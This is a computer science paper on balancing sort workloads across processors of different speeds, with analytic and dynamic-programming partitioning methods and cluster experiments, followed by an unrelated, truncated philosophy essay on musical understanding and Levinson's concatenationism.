The organization of our paper is the following. In section \[sec:ta\] we introduce the problem of sorting in order to characterize the difficulties of partitioning data in an heterogeneous environment. The section motivates the work. In section \[sec:previous\] we recall our previous techniques and results. Section \[sec:analytic\] is devoted to a new constant time solution and deals also with unknown cost functions. In section \[sec:dynamic\] we introduce a dynamic programming approach and we recall a technique that do not assume a model of processors related by constant integers but in this case the processor speed may be “unrelated”. Section \[sec:experiments\] is about experiments and section \[sec:conclusion\] concludes the paper.
Target applications and implementation on heterogeneous clusters {#sec:ta}
================================================================
Assume that you have a set of $p$ processors with different speeds, interconnected by a crossbar. Initially, the data is distributed across the $p$ processors and according to the speeds: the slowest processor has less data than the quickest. This assumption describes the initial condition of the problem. In this section we detail our sorting application for which performance are directly related to this initial partitioning.
Parallel Sort. {#mysection}
--------------
Efficient parallel sorting on clusters (see [@spaa94*46; @reif87; @STOC::ReifV1983; @ShiHanmaoa1992a; @LiXandLuPa1993a; @HelmanDavi1996b] for the homogeneous case and [@CG00; @CG00a; @CG00b; @CG02; @CERIN2002] for the heterogeneous case) can be implemented in the following ways:
1. Each processor sorts locally its portion and picks up representative values in the sorted list. It sends the representative values to a dedicated node.
2. This node sorts what it receives from the processors and it keeps $p-1$ pivots; it distributes the pivots to all the processors.
3. Each processor partitions its sorted input according to the pivots and it sends $p-1$ portions to the others.
4. Each processor merges what it received from the others.
Note that the sorting in step 1 can be bypassed but in this case the last step is a sort not a merge. Moreover note that there is only one communication step: the representative values can be selected by sampling few candidates at a cost much lower than the exchange of values. In other words, when a value moves, it goes to the final destination node in one step.
Previous results and parallel execution time {#sec:previous}
============================================
Consider the simple problem of local sorting, such as presented in [@CG00a] (and our previous comments). The sizes $n_i$ of data chunks on each node is assumed to be proportional to the speed of processors.
Let us now examine the impact on the parallel execution time of sorting of the initial distribution or, more precisely, the impact of the redistribution of data. We determine the impact in terms of the way of restructuring the code of the meta partitioning scheme that we have introduced above. In the previous section, when we had $N$ data to sort on $p$ processors depicted by their respective speeds $k1,\cdots,k_p$, we had needed to distribute to processor $p_i$ an amount $n_i$ of data such that: $$n_1 / k_1 = n_2 / k_2 = .....= n_p / k_p$$ and $$n_1 + n_2 + .... + n_p = N$$ The solution is: $$\forall i,n_i = N\times k_i / (k_1+k_2+ ...+k_p)
%\begin{array}{rcl}
%n_1 & = &N*k_1 / (k_1+k_2+ ...+k_p)\\
%%n_2 &= &N*k_2 / (k_1+k_2+ ...+k_p)\\
%\hdots & = & \dotfill\\
%n_p & = &N*k_p / (k_1+k_2+ ...+k_p)\\
%\end{array}$$
Now, since the sequential sorts are executed on $n_i$ data at a cost proportional $n_i\ln n_i$ time cost (approximatively since there is a constant in front of this term), there is no reason that the nodes terminate at the same time since $n_1/k_1\ln n_1 \neq n_2/k_2\ln n_2
\neq\cdots \neq n_p/k_p\ln n_p$ in this case. The main idea that we have developed in [@sbac04] is to send to each processor an amount of data to be treated by the sequential sorts proportional to $n_i\ln
n_i$. The goal is to minimize the global computation time $T = \min
(\max_{i=1, \ldots, p} n_i\ln n_i)$ under the constraints $\sum n_i =
N$ and $n_i \geq 0$.
It is straightforward to see that an optimal solution is obtained if the computation time is the same for all processors (if a processor ends its computation before another one, it could have been assigned more work thus shortening the computation time of the busiest processor). The problem becomes to compute the data sizes $n'_1,\cdots,n'_p$ such that: $$n'_1 + n'_2 + \cdots + n'_p = N$$ and such that $$\label{eq:equal}
(n'_1/k_1)\ln n'_1 = (n'_2/k_2)\ln n'_2 =\cdots = (n_p'/k_p)\ln n'_p$$ We have shown that this new distribution converges to the initial distribution when $N$ tends to infinity. We have also proved in [@sbac04] that a constant time solution based on Taylor developments leads to the following solution: $$n_i = \frac{k_i}{K}N +\epsilon_i,\ \ \ (1\leq i\leq p)
\ \mbox{where}\ \epsilon_i=\frac{N}{\ln N}\left[\frac{k_i}{K^2}\sum_{j=1}^p k_j\ln\left(\frac{k_j}{k_i}\right)\right]$$and where $K$ is simply the sum of the $k_i$. These equations give the sizes that we must have to install initially on each processors to guaranty that the processors will terminate at the same time. The time cost of computing one $k_i$ is ${\cal O}(p)$ and is independent of $n$ which is an adequate property for the implementations since $p$ is much lower and not of the same order than $n$.
One limitation of above the technique is that we assume that the cost time of the code following the partitioning step should admit a Taylor development. We introduce now a more general approach to solve the problem of partitioning data in an heterogeneous context. It is the central part of the work. We consider an analytic description of the partitioning when the processors are uniformly related: processor $i$ has an intrinsic relative speed $k_i$.
General exact analytic approach on uniformly related processors {#sec:analytic}
===============================================================
The problem we solved in past sections is to distribute batches of size $N$ according to . We will first replace the execution time of the sorting function by a generic term $f(n)$ (which would be $f(n)=n\ln n$ for a sorting function, but could also be $f(n)=n^2$ for other sorting algorithms, or any function corresponding to different algorithms). We assume that $f$ is a strictly increasing monotonous integer function. We can with this consider a more general approach to task distribution in parallel algorithms. Since our processors have an intrinsic relative speed $k_i$, the computation time of a task of size $n_i$ will be $f(n_i)/k_i$. This (discrete) function can be extended to a (real) function $\tilde{f}$ by interpolation. We can try to solve this equation exactly through analytical computation. We define the common execution time $T$ through the following equation: $$T = \frac{\tilde{f}(n_1)}{k_1} = \frac{\tilde{f}(n_2)}{k_2} = \cdots = \frac{\tilde{f}(n_p)}{k_p}$$ and equation $$\label{eq:all}
n_1 + n_2 + .... + n_p = N$$ Let us recall that monotonous increasing functions can have an inverse function. Therefore, for all $i$, we have $\tilde{f}(n_i)=T k_i$, and thus: $$\label{eq:ni}
n_i=\tilde{f}^{-1}(T k_i)$$ Therefore, we can rewrite as: $$\label{eq:solveT}
\sum_{i=1}^{p}\tilde{f}^{-1}(T k_i)=N$$ If we take our initial problem, we have only one unknown term in this equation which is $T$. The sum $\sum_{i=1}^{p}\tilde{f}^{-1}(T k_i)$ is a strictly increasing function of $T$. If we suppose $N$ large enough, there is a unique solution for $T$. The condition of $N$ being large enough is not a rough constraint. $\tilde{f}^{-1}(T)$ is the number of data that can be treated in time $T$ by a processor speed equals to $1$. If we consider that $\tilde{f}^{-1}(0)=0$ (which is reasonable enough), we obtain that $\sum_{i=1}^{p}\tilde{f}^{-1}(T
k_i)=0$ for $T=0$.
Having $T$, it is easy to compute all the values of $n_i=\tilde{f}^{-1}(T k_i)$. We shall show later on how this can be used in several contexts. Note also that the computed values have to be rounded to fit in the integer numbers. If the numbers are rounded down, at most $p$ elements will be left unassigned to a processor. The processors will therefore receive a batch of size $n_i=\left\lfloor\tilde{f}^{-1}(T k_i)\right\rfloor+\tilde{\delta_i}$ to process. $\delta_i$ can be computed with the following (greedy) algorithm:
1. Compute initial affectations $\tilde{n}_i=\left\lfloor\tilde{f}^{-1}(T k_i)\right\rfloor$ and set $\delta_i=0$;
2. For each unassigned item of the batch of size $N$ (at most $p$ elements) do:
1. Choose $i$ such that $(\tilde{n}_i+\delta_i+1)/k_i$ is the smallest;
2. Set $\delta_i=\delta_i+1$.
The running time of this algorithm is $O(p\log p)$ at most, so independant of the size of the data $N$.
Multiplicative cost functions
-----------------------------
Let us consider now yet another cost function. $f$ is a multiplicative function if it verifies $f(x y)=f(x)f(y)$. If $f$ is multiplicative and admits an inverse function $g$, its inverse is also multiplicative: $$g(a b)=g(f(g(a))f(g(b)))=g(f(g(a)g(b)))=g(a)g(b)$$ If $\tilde{f}$ is such a function (e.g. $f(n)=n^k$), we can solve equation as follows: $$N=\sum_{i=1}^{p}\tilde{f}^{-1}(T
k_i)=\sum_{i=1}^{p}\tilde{f}^{-1}(T)\tilde{f}^{-1}(k_i)=\tilde{f}^{-1}(T)\sum_{i=1}^{p}\tilde{f}^{-1}(k_i)$$ We can then extract the value of $T$: $$\tilde{f}^{-1}(T)=\frac{N}{\sum_{i=1}^{p}\tilde{f}^{-1}(k_i)}$$ Combining it with we obtain: $$n_i=\tilde{f}^{-1}(T k_i)=\tilde{f}^{-1}(T)\tilde{f}^{-1}(k_i)=\frac{\tilde{f}^{-1}(k_i)}{\sum_{i=1}^{p}\tilde{f}^{-1}(k_i)}N$$
Hence the following result:
If $f$ is a cost function with the multiplicative property $f(a
b)=f(a)f(b)$, then the size of the assigned sets is proportional to the size of the global batch with a coefficient that depends on the relative speed of the processor $k_i$: $$n_i=\frac{\tilde{f}^{-1}(k_i)}{\sum_{i=1}^{p}\tilde{f}^{-1}(k_i)}N$$
This results is compatible with the usual method for linear functions (split according to the relative speeds), and gives a nice generalization of the formula.
Sorting: the polylogarithmic function case
------------------------------------------
Many algorithms have cost functions that are not multiplicative. This is the case for the cost $\Theta(n \log n)$ of the previous sequential part of our sorting algorithm, and more generally for polylogarithmic functions. However, in this case equation \[eq:solveT\] can be solved numerically. Simple results show that polylogarithmic functions do not yield a proportionality constant independent of $N$.
### Mathematical resolution for the case $n\ln n$
In the case $f(n)=n\ln n$, the inverse function can be computed. It makes use of the Lambert W function $W(x)$, defined as being the inverse function of $x e^x$. The inverse of $f:n\mapsto n\ln n$ is therefore $g:x\mapsto x/W(x)$.
The function $W(x)$ can be approached by well-known formulas, including the ones given in [@CJK97]. A development to the second order of the formula yields $W(x)=\ln x-\ln\ln(x)+o(1)$, and also: $$\frac{x}{W(x)}=\frac{x}{\ln(x)}\frac{1}{1-(\ln\ln(x)/\ln(x))+o(1)}=
\frac{x}{\ln(x)}\left(1+{\frac{\ln\ln(x)}{\ln(x)}}+{\mathcal O}\left(\left({\frac{\ln\ln(x)}{\ln(x)}}\right)^2\right)\right)$$ This approximation leads us to the following first-order approximation that can be used to numerically compute in ${\mathcal O}(p)$ the value of $T$:
\[mytheo\] Initial values of $n_i$ can be asymptotically computed by $$\sum_{i=1}^{p}\frac{Tk_i+Tk_i\ln\ln(Tk_i)}{(\ln(Tk_i))^2}=N
\text{ and }
n_i=\frac{Tk_i+Tk_i\ln\ln(Tk_i)}{(\ln(Tk_i))^2}$$
Unknown cost functions
----------------------
Our previous method also claims an approach to unknown cost functions. The general outline of the method is laid out, but needs refinement according to the specific needs of the software platform. When dealing with unknown cost functions, we assume no former knowledge of the local sorting algorithm, just linear speed adjustments (the collection of $k_i$). We assume however that the algorithm has a cost function, i.e. a monotonous increasing function of the size of the data $C$.[^2] Several batch of data are submitted to our software. Our method builds an incremental model of the cost function. At first, data is given in chunks of size proportionnal to each node’s $k_i$. The computation time on node $i$ has a duration of $T_{n_i}$ and thus a basic complexity of $C(n_i)=T_{n_i}k_i$. We can thus build a piecewise affine function (or more complex interpolated function, if heuristics require that) that represents the current knowledge of the system about the time cost $n\mapsto C(n)$. Other values will be computed by interpolation. The list of all *known points* can be sorted, to compute $f$ efficiently.
The following algorithm is executed for each task:
1. For each node $i$, precompute the mapping $(T,i)\mapsto n_i$ as previously, using interpolated values for $f$ if necessary (see below). Deduce a mapping $T\mapsto n$ by summing the mappings over all $i$.
2. Use a dichotomic search through $T\mapsto n$ mapping to find the ideal value of $T$ (and thus of all the $n_i$) and assign chunks of data to node $i$;
3. When chunk $i$ of size $n_i$ is being treated:
1. Record the cost $C=T_{n_i}k_i$ of the computation for size $n_i$.
2. If $n_i$ already had a non-interpolated value, choose a new value $C'$ according to whatever strategy it fits for the precise platform and desired effect (e.g. mean value weighted by the occurrences of the various $C$ found for $n_i$, mean value weighted by the complexity of the itemset, max value). Some strategies may require storing more informations than just the mapping $n\mapsto C(n)$.
3. If $n_i$ was not a known point, set $C'=C$.
4. Ensure that the mapping as defined by $n\neq n_i\mapsto C(n)$ and the new value $n_i\mapsto C'$ is still monotonous increasing. If not, raise or lower values of neighboring known points (this is simple enough to do if the strategy is to represent the cost with a piecewise function). Various heuristics can be applied, such as using the weighted mean value of conflicting points for both points.
4. At this point, the precomputation of the mappings will yield consistent results for the dichotomic search. A new batch can begin.
The initial extrapolation needs care. An idea of the infinite behavior of the cost function toward infinity is a plus. In absence of any idea, the assumption that the cost is linear can be a starting point (a “linear guess”). All “linear guesses” will yield chunks of data of the same size (as in equation ). Once at least one point has been computed, the “linear guess” should use a ratio based on the complexity for the largest chunk size ever treated (e.g. if size $1,000$ yields a cost of $10,000$, the linear ratio should be at least $10$).
A dynamic programming technique for non-uniformly related processors {#sec:dynamic}
====================================================================
In the previous sections we have developed new constant time solution to estimate the amount of data that each processor should have in its local memory in order to ensure that the parallel sorts end at the same time. The complexity of the method is the same than the complexity of the method introduced in [@sbac04].
The class of functions that can be used according to the new method introduced in the paper is large enough to be useful in practical cases. In [@sbac04], the class of functions captured by the method is the class of functions that admit a Taylor development. It could be a limitation of the use of the two methods.
Moreover, the approach of [@sbac04] considers that the processor speeds are uniformly related, i.e. proportional to a given constant. This is a restriction in the framework of heterogeneous computers since the time to perform a computation on a given processor depends not only on the clock frequency but also on various complex factors (memory hierarchy, coprocessors for some operations).
In this section we provide a general method that provides an optimal partitioning $n_i$ in the more general case. This method is based on dynamic programming strategy similar to the one used in FFTW to find the optimal split factor to compute the FFT of a vector [@FFTW05].
Let us give some details of the dynamic approach. Let $f_i(m)$ be the computational cost of a problem of size $m$ on machine $i$. Note that two distinct machines may implement different algorithms (e.g. quicksort or radix sort) or even the same generic algorithm but with specific threshold (e.g. Musser sort algorithm with processor specific algorithm to switch from quicksort to merge sort and insertion sort). Also, in the sequel the $f_i$ are not assumed proportional.
Given $N$, an optimal partitioning $(n_1, \ldots, n_p)$ with $\sum_{i=1}^p n_i = N$ is defined as one that minimizes the parallel computation time $T(N,p)$; $$T(N,p) = \max \{{\vtop{\hbox{\hfill$f_i( n_i);\hfill$}\hbox{\raise 2pt\hbox{$\scriptstyle i=1,\ldots, p$}}}}\} =
\min_{(x_1, \ldots, x_p)\in \mathbb{N}^p : \sum_{i=1}^p x_i = N}
\max \{{\vtop{\hbox{\hfill$f_i(x_i);\hfill$}\hbox{\raise 2pt\hbox{$\scriptstyle i=1,\ldots, p$}}}}\}$$ A dynamic programming approach leads to the following inductive characterization of the solution:$\forall (m,i) \mbox{~with~} 0 \leq m
\leq N \mbox{~and~} 1 \leq i \leq p: T(m,i) = \min_{n_i=0..m} \max (
f_i(n_i), C(m-n_i, i-1))$
Then, the computation of the optimal time $T(N,p)$ and of a related partition $(n_i)_{i=1,\ldots, p}$ is obtained iteratively in ${\cal
O}(N^2.p)$ time and ${\cal O}(N.p)$ memory space.
The main advantage of the method is that it makes no assumption on the functions $f_i$ that are non uniformly related in the general case. Yet, the potential drawback is the computational overhead for computing the $n_i$ which may be larger than the cost of the parallel computation itself since $T(N,p) =o(N^2p)$. However, it can be noticed, as in [@FFTW05], that this overhead can be amortized if various input data are used with a same size $N$. Moreover, some values $T(m,p)$ for $m \leq K$ may be precomputed and stored. Than in this case, the overhead decreases to $O\left(p.\left(
\frac{N}{K}\right)^2\right)$. Sampling few values for each $n_i$ enables to reduce the overhead as desired, at the price of a loss of optimality.
Experiments {#sec:experiments}
===========
We have conducted experiments on the Grid-Explorer platform in order to compare our approach for partitioning with partitioning based only on the relative speeds. Grid-Explorer[^3] is a project devoted to build a large scale experimental grid. The Grid-Explorer platform is connected also to the nation wide project Grid5000[^4] which is the largest Grid project in France. We consider here only the Grid-Explorer platform which is built with bi-Opteron processors (2Ghz, model 246), 80GB of IDE disks (one per node). The interconnection network is made of Cisco switches allowing a bandwidth of 1Gb/s full-duplex between any two nodes. Currently, the Grid-Explorer platform has 216 computation nodes (432 CPU) and 32 network nodes (used for network emulation - not usefull in our case). So, the platform is an homogeneous platform.
For emulating heterogeneous CPU, two techniques can be used. One can use the CPUfreq driver available with Linux kernels (2.6 and above) and if the processor supports it; the other one is CPU burning. In this case, a thread with high priority is started on each node and consumes Mhz while another process is started for the main program. In our case, since we have bi-opteron processors we have chosen to run 2 processes per node and doing CPU burning, letting Linux to run them one per CPU. Feedback and experience running the CPUfreq driver on a bi-processor node, if it exists, is not frequent. This explain why we use the CPU burning technique.
Figure \[FIGONE\] shows the methodology of running experiments on the Grid-Explorer or Grid5000 platforms. Experimenters take care of deploying codes and reserve nodes. After that, they configure an environment (select specific packages and a Linux kernel, install them) and reboot the nodes according to the environment. The experiments take place only after installing this “software stack” and at a cost which is significant in term of time.
{width="80mm"}
\[FIGONE\]
We have implemented the sorting algorithm depicted in subsection \[mysection\] and according to Theorem \[mytheo\] for the computation of the initial amount of data on each node for minimizing the total execution time. Note that each node generates its local portion on the local disk first, then we start to measure the time. It includes the time for reading from disk, the time to select and to exchange the pivots, the time for partitioning data according to the pivots, the time for redistributing (in memory) the partitions, the time for sorting and finally the time to write the result on the local disks.
We sort records and each record is 100 bytes long. The first 10 bytes is a random key of 10 printable characters. We are compliant with the requirements of Minute Sort[^5] as much as possible in order to beat the record in a couple of weeks.
We proceed with 50 runs per experiment. We only consider here experiments with a ratio of 1.5 between processor speeds. This is a strong constraint: the more the ratio is high the more the difference in execution time is important and in favor of our algorithm. So we have two classes of processor but the choice between the performance ($1$ or $1/1.5$) is made at random. We set half of the processors with a performance of $1$ and the remainder with a performance of $1/1.5$. We recall that the emulation technique is ’CPU burning’.
Since we have observed that the communication time has a significant impact on the total execution time, we have developed two strategies and among them, one for using the second processor of the nodes. In the first implementation communication take place in a single thread that is to say in the thread also doing computation. In the second implementation we have created a thread for sending and a thread for receiving the partitions. We guess that the operating system allocates them on the ’second’ processor of our bi-opteron cards equiped with a single Gigabit card for communication.
The input size is 541623000 records (54GB) because it provides about an execution time of one minute in the case of an homogeneous run using the entire 2Ghz. Note that it corresponds approximatively to 47% of the size of the 2005 Minute Sort record.
We run 3 experiments. Only experiments A.2 et A.3 use our technique to partition the data whereas experiment A.1 corresponds to a partitioning according to the relative speed only. In other words, experiment A.1 corresponds to the case where the CPU burns X.Mhz (where X is either 1Ghz or 1/1.5 GHz) but the performance vector is set according to an homogeneous cluster, we mean without using our method for re-balancing the work. Experiment A.2 also corresponds to the case where communication are not done in separate threads (and thus they are done on the same processor). Experiment A.3 corresponds to the case where the CPU burns X Mhz (also with X is either 1Ghz or 1/1.5 GHz) and communication are done in separate threads (and thus they are done on separate processors among the two available on a node). We use the [pthread]{} library and LAM-MPI 7.1.1 which is a safe-thread implementation of MPI.
A1 experiment A2 experiment A3 experiment
--------------- --------------- ---------------
125.4s 112.7s 69.4s
\[mytable\]
sorting 54GB on 96 nodes is depicted in Figure 2. We observe that the multithreaded code (A.3) for implementating the communication step is more efficient than the code using a single thread (A.2). This observation confirms that the utilization of the second processor is benefit for the execution time. Concerning the data partitioning strategy introduced in the paper, we observe a benefit of about 10% in using it (A.2) comparing to A.1. Moreover, A.3 and A.2 use the same partitioning step but they differ in the communication step. The typical cost of the communication step is about 33% of the execution time for A.3 and about 60% for A.2.
Conclusion {#sec:conclusion}
==========
In this paper we address the problem of data partitioning in heterogeneous environments when relative speeds of processors are related by constant integers. We have introduced the sorting problem in order to exhibit inherent difficulties of the general problem.
We have proposed new ${\cal O}(p)$ solutions for a large class of time complexity functions. We have also mentioned how dynamic programming can find solutions in the case where cost functions are “unrelated” (we cannot depict the cpu performance by the mean of integers) and we have reminded a recent and promising result of Lastovetsky and Reddy related to a geometrical interpretation of the solution. We have also described methods to deal with unknown cost functions. Experiments based on heteroneous processors correlated by a factor of 1.5 and on a cluster of 96 nodes (192 AMD Opteron 246) show better performance with our technique compared to the case where processors are supposed to be homogeneous. The performance of our algorithm is even better if we consider higher factor for the heterogeneity notion, demonstrating the validity of our approach.
In any case, communication costs are not yet taken into account. It is an important challenge but the effort in modeling seems important. In fact you cannot mix, for instance, information before the partitioning with information after the partitioning in the same equation. Moreover, communications are difficult to precisely modelize in a complex grid archtitecture, where various network layers are involved (Internet/ADSL, high speed networks,…). In this context, a perspective is to adapt the static partitioning, such as proposed in this paper, by a dynamic on-line redistribution of some parts of the pre-allocated chunks in reaction to network overloads and resources idleness (e.g. distributed work stealing).
[^1]: Work supported in part by France Agence Nationale de la Recherche under grants ANR-05-SSIA-0005-01 and ANR-05-SSIA-0005-05, programme ARA sécurité
[^2]: If some chunks are treated faster than smaller ones, their complexity will be falsely exaggerated by our approach and lead to discrepancies in the expected running time.
[^3]: See: [http://www.lri.fr/\~fci/GdX]{}
[^4]: See: [http://www.grid5000.fr]{}
[^5]: See: [http://research.microsoft.com/barc/SortBenchmark/]{}
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Experience and Consciousness: Enhancing the Notion of Musical Understanding1 Adriana Renero SUMMARY: Disagreeing with Jerrold Levinson's claim that being conscious of broadspan musical form is not essential to understanding music, I will argue that our awareness of musical architecture is significant to achieve comprehension. I will show that the experiential model is not incompatible with the analytic model. My main goal is to show that these two models can be reconciled through the identification of a broader notion of understanding. After accomplishing this reconciliation by means of my new conception, I will close the paper by discussing some reasons to accept an enhancing notion of musical understanding that includes levels and degrees of understanding. KEY WORDS: Concatenationism, cognitive abilities, levels, degrees. Introduction Jerrold Levinson's central argument in Music in the Moment (1997) is that fundamental musical understanding can be achieved through the experience of listening to music in a certain way: specifically, in a concatenationist way; that is, listening to individual bits of a musical piece on the small-scale-just a few bars perhaps-and connecting present ones with previous and future ones. Levinson's concatenationism is erected against the traditional view, which holds that conscious awareness of broad-span musical form and of large-scale structural relationships is essential to understanding music.2 Despite his disagreement with this view, in order to explore the possibility that the organization of a musical piece on the large-scale, even if not an object of perception in itself, somehow 1 I am grateful to Jerrold Levinson for helpful comments on an earlier version of this essay. I am also grateful to the referees of the Journal Crítica for providing valuable comments that improved this paper. 2 As applied to the arts, "form", in general, is an important concept that refers to the shape, arrangement, relationship, or organization of the various elements. In music, the elements of form are rhythm, pitch and melody, dynamics, tone color, and texture. A musical work, such as a symphony, is formed or organized by means of repetitions of some of these elements and by contrasts among them. In this work, I refer to "form" when I say musical architecture, global form or large-scale musical structure. Nevertheless, it is important to remember that "a form" or "musical forms" refer to one of many standardized formal patterns, conventionally expressed by letter diagrams such as A B A and that are known as da capo form, fugue, sonata form, minuet form, theme and variations, rondo, among others (see Kerman 2000, pp. 39–41). 2 affects the listener's experience or helps achieve understanding, Levinson sets himself to qualify his own concatenationism in order to take large-scale characteristics into account. After exploring this modified view, Levinson concludes that intellectual apprehension and awareness of global form can only contribute to musical understanding to a relatively minor degree, not in any significant way. My goal in this paper is to explore the possibility of enhancing the general notion of musical understanding3 by considering two proposals which, if adopted, would lead to a reconciliation of those who claim that understanding is primarily achieved by the experience of listening and those who claim that understanding is primarily achieved through analysis and awareness of musical architecture, global form, and large-scale musical structure. I will argue that these two views about musical understanding are not mutually exclusive and will show a way in which both viewpoints can be reconciled. In fact, the awareness of musical form is not negligible in achieving musical understanding as Levinson supposes. On the contrary, it significantly enhances our musical understanding. As we will see below, this expanded notion of understanding is perfectly compatible with Levinson's qualified concatenationism. This essay has three sections: (1) in order to provide the most important aspects for the debate of the problem of musical understanding, I will outline central differences of the two views. (2) I will take Levinson's argument in Music in the Moment as an example of experiential model. I will explain his conception of musical understanding, and point out the main features of his concatenationism. (3) I will argue for my proposals to broaden the 3 Despite the fact that the notion of musical understanding can be applied to any musical genre, all musical examples in this work will be referred to tonal classical music or concert music, as we know it in the Western tradition. I do this in order to avoid the common fallacy of a number of authors that pick operas or other type of music associated to a text and supposedly analyze the musical qualities by themselves, while in reality they only attend to the narrative content provided by the text. 3 notion of musical understanding, and I will show that Levinson's qualified concatenationism is compatible with the enhanced understanding that I present. 1. Two Perspectives on Musical Understanding The problem posed by musical understanding has been discussed by philosophers of music such as Roger Scruton, Jerrold Levinson, Stephen Davies, Peter Kivy, Malcolm Budd and Mark DeBellis (a musicologist). The core of the problem can be seen by examining the two primary opposing positions: on the one hand, those who accept the necessity of an analytical capacity, conceptual and technical knowledge, and a consciousness of the musical structure as a necessary condition to understand music, on the other, those who argue that musical experience is a sufficient condition for achieving understanding through repeated listening whereby the dynamic musical forms and internal connections between the musical parts are intuitively detected, registered, and responded to. In this section, I will present those two perspectives stated more carefully. I will call these two positions the analytic model and the experiential model, respectively. Relying on C. Koopman and S. Davies (2001, pp. 266–68), I will now list some of the main differences between these two models, considering them in their purest form. Global vs. Local Focus: According to the analytic model, musical understanding is achieved by grasping the structural components of a musical work. A complete "view" of the work results from the identification of its parts, assuming they remain static and are not affected by the flow of time. On the contrary, experiential model, the musical process is grasped through a dynamic experience of music, which is apprehended as it happens in time through our ability to organize the various tones we listen to sequentially. The listener 4 reacts to a continual flow of events with a flow of corresponding responses. Reflective vs. Unreflective Listening: The analytic model depends on the listener having a reflective awareness of the work's form, on an intellectual approach to the work, and on his response being articulated propositionally. The experiential model does not look for such awareness since it considers it to be unnecessary. The listener's experience is sufficient to achieve musical understanding. Cognitive vs. Cognitive-Affective Bond: The analytic model is purely cognitive because it involves complex, intellectual mental processes, whereas the experiential model involves a cognitive-affective bond: In order to grasp a musical piece, the listener has to feel the musical progression. If the listeners lack the experience of feeling and listening to the musical sequences in tension and relaxation, they cannot understand the piece. External vs. Internal Perspective: In the analytic model, the listener's perspective is distanced from the musical work-the work is viewed from the outside. The listener in the experiential model is required to be involved with the work in order to understand it from the inside through an experience that involves him "empathically" with the musical piece. Coherence of the Whole vs. Coherence of Parts in Connection: On the analytic model, the listener is aware of connections (e.g., oppositions, elaborations, and reductions) that he detects in the musical score and can determine the coherence of a piece by means of the conventions of a certain style. In contrast, in the experiential model the listener grasps the music as a process that develops organically, in which each part is only tied to the previous one. In this way, the perception of the coherence of the piece is derived from the organic connection of its parts. For a more concrete view of these positions, the musicologist Mark DeBellis may serve as a 5 representative for the analytic model and Jerrold Levinson as one for the experiential model.4 DeBellis's central argument in Music and Conceptualization (1995, especially chapters 2 and 3) is that untrained listeners cannot follow a piece of music, its development and its fundamental structure. Hence, their experience of music is ineffable. This is supposed to imply an impoverishment of their understanding in comparison to trained listeners, who know how to conceptualize sounds in theoretical and technical terms. From the analytic perspective, knowledge and awareness of the musical structure is a necessary condition for understanding music. In contrast, Levinson maintains that in order to understand music, it is necessary to have a particular experience of listening. For the important thing on the experiential model is not what is listened to (i.e., what aspect of the overall structure), but how one listens; how unity and organization are perceived; the way in which a person listens to tones organized in a tonal system; how one appreciates and imaginatively participates in music; how one relates the preceding parts and anticipates the future ones. In sum, what matters is how we, as Roger Scruton says, transform our experience into an exercise, a practice, a habit (see Scruton 1997, Ch. 2). 2. Levinson's Concatenationism and Qualified Concatenationism The principal argument offered by Jerrold Levinson in Music in the Moment,5 is that a basic musical understanding is achieved in the experience of listening to music in a certain way. In particular, listening to individual bits of a musical piece, on a small-scale, and in the present time; i.e., aurally connecting present with previous and future bits, and where the 4 See also P. Kivy, 2001, pp. 183–217. To see reply to criticisms towards experiential model: J. Levinson, 1999, pp. 485–94, and S. Davies, 2007, pp. 25–79 who compares and criticizes both, DeBellis and Levinson. 5 An argument which may be traced basically to Edmund Gurney's music theory (The Power of the Sound, 1880). 6 decisive factor is the act of listening, when, in the exposition and repetition of a given piece, the listener responds to music. That is, when the listener follows and "makes sense" -i.e., connects present parts with previous and future ones-, reproduces -i.e., hums, whistles, sings, dances, etc.-, appreciates -i.e., perceives with attention-, esteems, and values the work, she understands it.6 Levinson writes, If basic musical understanding can be identified with a locally synthetic rather than a globally synoptic manner of hearing, then it is conceivable that with musical compositions, even complicated and lengthy ones, we miss nothing crucial by staying, as it were, in the moment, following the development of events in real time, engaging in no conscious mental activity of wider scope that has the whole or some extended portion of it as object. Of course it is rare that activity of that sort is entirely absent, but the point is that its contribution to basic understanding may be nil. (Levinson 1997, p. 29) It is important to be clear that by the adjective 'basic' in the phrase "basic musical understanding", Levinson means to convey that such understanding is essential to any apprehension of music, fundamental to any further musical understanding, and central to worthwhile musical experience of any kind. He does not mean to suggest that the understanding is simple, elementary, or rudimentary (cf. Levinson 1997a, p. 33). To exemplify the above view, take the famous opening motif of Beethoven's Symphony No. 5 in C Minor, Op. 67: {image here: Renero B. tiff.} It seems that the listeners do not need to be aware that the first movement is an Allegro con brio nor do they require consciousness of the Sonata Form structure of the whole movement, which is dominated by this rhythmic motif, in order to achieve basic understanding. Neither do they 6 The notion of musical understanding that Levinson (1996) maintains is closely related to music appreciation. Comprehension and appreciation cannot be divorced. To understand a musical work it is necessary to listen to it with a certain appreciation and enjoyment. For a position that doubts the felicity of the marriage between musical understanding and musical appreciation, see S. Davies (2007). 7 need to know that this motif forms the first theme in the exposition, initiates the bridge, appears as a subdued background to the lyrical and contrasting second theme, and emerges again in the cadence material. The listeners are not expected to be aware of things that could be observed in the score, like expansions of the motif in the development section, etc. In order to achieve a basic music understanding, they do not need to provide a technical explanation or conceptual description of exposition, development, or recapitulation as a large temporal span of the first movement. For Levinson, the listeners may achieve musical understanding if they are simply able to reproduce afterwards -hum, whistle, sing- the aforementioned motif. The listeners should be able to follow and recognize the motif as it undergoes numerous transformations throughout not only the first movement but the whole symphony, so that it would "make sense" to them. Most importantly, perhaps, the listeners should be able to perceive the intrinsic drama and emotional content that is conveyed by this simple motif in an astonishingly concise expression, which enables the composer to sustain high levels of tension based on different transformations of the motif. For Levinson, the fundamental thing is for the listener to detect and register the musical notes in the present and to perceive, through a constant and repeated audition, their interconnection, order and coherence, and to successively quasi-hear portions of a composition. Quasi-hearing, for Levinson, is "seeming to hear a span of music while strictly hearing, or aurally registering, just one element of it" (1997, p. 15, emphasis added). Quasi-hearing, claims Levinson, does not depend upon any conscious effort to keep before the mind the sound just heard, since an aural surrounding to the notes currently sounding constitutes itself automatically. The ear apprehends, vividly, in a musical unit that which goes beyond the sound "really" heard. Levinson's concept of musical understanding, employable by the "ordinary" or "common" listener, stands in opposition to the analytic 8 model, which traditionally argues for the need for a "learned" understanding only attainable by those with a trained ear, by those who can explain or describe the musical phenomena in terms of theoretical concepts, formal schemes, architectonical diagrams or synoptic representations. In the later chapters of Music in the Moment, Levinson develops what he calls a qualified concatenationism, which is an attempt to challenge his initial argument that listening is sufficient for understanding by making room for the awareness of the largescale musical form to play an important role in understanding and in affecting the listener's experience. Of possible ways to qualify his concatenationism, Levinson writes, Five possible grounds of qualification were addressed: (a) architectonic awareness's enhancement of the perceived impressiveness of individual bits; (b) 